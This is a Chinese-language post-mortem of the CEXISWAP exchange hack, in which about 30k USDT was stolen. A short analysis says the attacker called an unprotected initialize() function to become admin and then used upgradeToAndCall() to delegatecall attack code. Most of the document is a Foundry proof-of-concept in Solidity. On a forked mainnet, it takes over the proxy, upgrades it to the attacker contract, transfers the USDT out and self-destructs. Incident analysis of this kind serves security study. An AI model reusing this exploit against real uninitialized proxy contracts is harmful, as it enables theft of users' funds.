攻击介绍
cexiswap被黑客攻击,黑客从中盗取了3w的USDT。(CEXISWAP是一个去中心化的多链交易所,通过贸易管道技术在DEX和CEX之间桥接流动性)
TX:0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e
攻击分析
我们通过phalcon来看。攻击合约直接调用受害者的initialize(),使自己成为了admin,再调用受害者的upgradeToAndCall(),再upgradeToAndCall()中受害者再次delegatecall攻击合约的0x1de24bbf函数。
很明显,受害者为对initialize()进行访问限制,导致被攻击。
POC
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10;
import"forge-std/Test.sol"; import"./interface.sol";
// Attacker : https://etherscan.io/address/0x060c169c4517d52c4be9a1dd53e41a3328d16f04 // Attack Contract : https://etherscan.io/address/0x8c425ee62d18b65cc975767c27c42de548d133a1 // Vulnerable Contract : https://etherscan.io/address/0xb8a5890d53df78dee6182a6c0968696e827e3305 // Attack Tx : 0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e
interface ICEXISWAP { function initialize( string memory name, string memory ticker, address _treasuryWallet, address _communityWallet, address _admin, address _strategy ) external;
function upgradeToAndCall( address newImplementation, bytes memory data ) external payable; }
contract CEXISWAPTest is Test{ ICEXISWAP constant cexiswap = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305); IUSDT constant usdt = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); Exploiter public exploiter;
function setUp() public{ vm.createSelectFork("mainnet", 18182605); vm.label(address(cexiswap), "CEXISWAP"); vm.label(address(usdt), "USDT"); }
function testexploit() public{ exploiter = new Exploiter(); exploiter.exploit(); } }
contract Exploiter{ ICEXISWAP constant cexiswap = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305); IUSDT constant usdt = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); bytes32 constant solt = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; address owner;
function exploit() public{ cexiswap.initialize( "HAX", "HAX", address(this), address(this), address(this), address(this)); cexiswap.upgradeToAndCall( address(this),abi.encodePacked(this.exploit2.selector));
this.killMe(); }
function exploit2() public{ owner = address(this); usdt.transfer(owner, usdt.balanceOf(address(this))); }
function upgradeTo(address newImplementation) external { bytes32 _slot = solt; assembly { sstore(_slot, newImplementation) } }
function killMe() public{ selfdestruct(payable(msg.sender)); } }
|